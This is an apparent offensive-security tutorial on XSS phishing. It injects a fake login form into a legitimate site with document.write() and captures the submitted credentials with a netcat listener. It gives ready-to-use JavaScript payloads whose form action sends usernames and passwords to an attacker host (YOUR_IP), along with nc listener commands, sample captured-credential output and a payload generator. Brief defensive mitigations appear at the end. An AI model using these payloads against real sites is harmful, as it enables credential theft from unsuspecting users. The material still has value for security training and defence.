OVERVIEW
How XSS Phishing Differs
Unlike traditional phishing that requires a fake domain (which can be detected), XSS phishing hosts the fake form on the real target website's domain. The victim sees the correct URL in their browser — making detection extremely difficult without inspecting the page source.
Attacker finds XSS vulnerability
→
Injects document.write payload
Victim visits legitimate URL
→
Fake login form overlays page
Victim submits credentials
→
nc listener captures creds
→
ACCOUNT COMPROMISED
ATTACK TYPE
Stored / Reflected XSS + Social Engineering
LISTENER
netcat nc -lvnp 80
STEALTH LEVEL
HIGH — real domain shown in URL bar
DELIVERY
document.write() DOM injection
PREVIEW
What the Victim Sees
The injected payload writes a convincing login form over the existing page content. The existing URL bar still shows the legitimate domain. The form's action attribute points to the attacker's listener.
INJECTED FORM — VICTIM'S VIEW
DOM INJECTION
Please login to continue
↑ This form is injected via document.write() — the page URL still shows the legitimate target domain. Disabled here for safety.
STEP 01
The Phishing Payload
This payload uses document.write() to inject a fake login form into the page. It also removes the existing form (if any) using document.getElementById('urlform').remove() to clean up the page and make the fake form the only visible element. The form's action sends credentials to your IP via a GET request.
JAVASCRIPT
phishing payload
document.write('<h3>Please login to continue</h3>' + '<form action=http://YOUR_IP>' + '<input type="username" name="username" placeholder="Username">' + '<input type="password" name="password" placeholder="Password">' + '<input type="submit" name="submit" value="Login">' + '</form>'); document.getElementById('urlform').remove();
One-line injection version (for direct input field injection):
JAVASCRIPT (one-line)
for direct injection
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
STEP 02
Start the Netcat Listener
Set up a netcat listener on port 80. When the victim submits the form, their browser sends a GET request to your IP with the username and password in the URL query string. Netcat captures the full HTTP request — including the credentials.
SHELL
terminal
$ sudo nc -lvnp 80 Listening on [0.0.0.0] (family 0, port 80) Connection from 192.168.1.50 54322 received! GET /?username=admin&password=supersecret123&submit=Login HTTP/1.1 Host: 10.200.1.255 User-Agent: Mozilla/5.0 ... ...
The credentials appear as GET parameters in the request line. No server setup required — netcat receives the raw HTTP request and you can read the query string directly.
Alternative: Log to file using tee to keep a persistent record:
SHELL
log to file
$ sudo nc -lvnp 80 | tee captured_creds.txt
STEP 03
Injection Payloads — Ready to Use
The following payloads inject the phishing form in various XSS contexts. Replace YOUR_IP with your listener's IP address. Click any payload to expand it and see how it works.
GENERATOR
Custom Phishing Form Builder
Generate a customized phishing payload with your own parameters. The generated payload uses document.write() to inject the form.
YOUR LISTENER IP / DOMAIN
FAKE FORM TITLE
USERNAME FIELD LABEL
PASSWORD FIELD LABEL
SUBMIT BUTTON TEXT
ELEMENT ID TO REMOVE (optional)
GENERATED PAYLOAD
// Fill in the fields above and click BUILD PAYLOAD
DEFENSE
Mitigations & Defenses
PREVENT XSS FIRST
XSS phishing depends entirely on a working XSS vulnerability. Fix the XSS and this attack is impossible.
CSP HEADER
Content-Security-Policy with form-action 'self' blocks the form from submitting to external domains.
PASSWORD MANAGERS
Password managers check the actual domain — they won't autofill on injected forms pointing to wrong action URLs.
SECURITY AWARENESS
Teach users to never enter credentials into unexpected login prompts, even on known sites.
SUBRESOURCE INTEGRITY
Use SRI hashes on scripts + strict CSP to prevent dynamic DOM modifications from injected code.
INPUT VALIDATION
Encode all output. Use context-aware escaping — HTML entity encoding for HTML context, JS escaping for script context.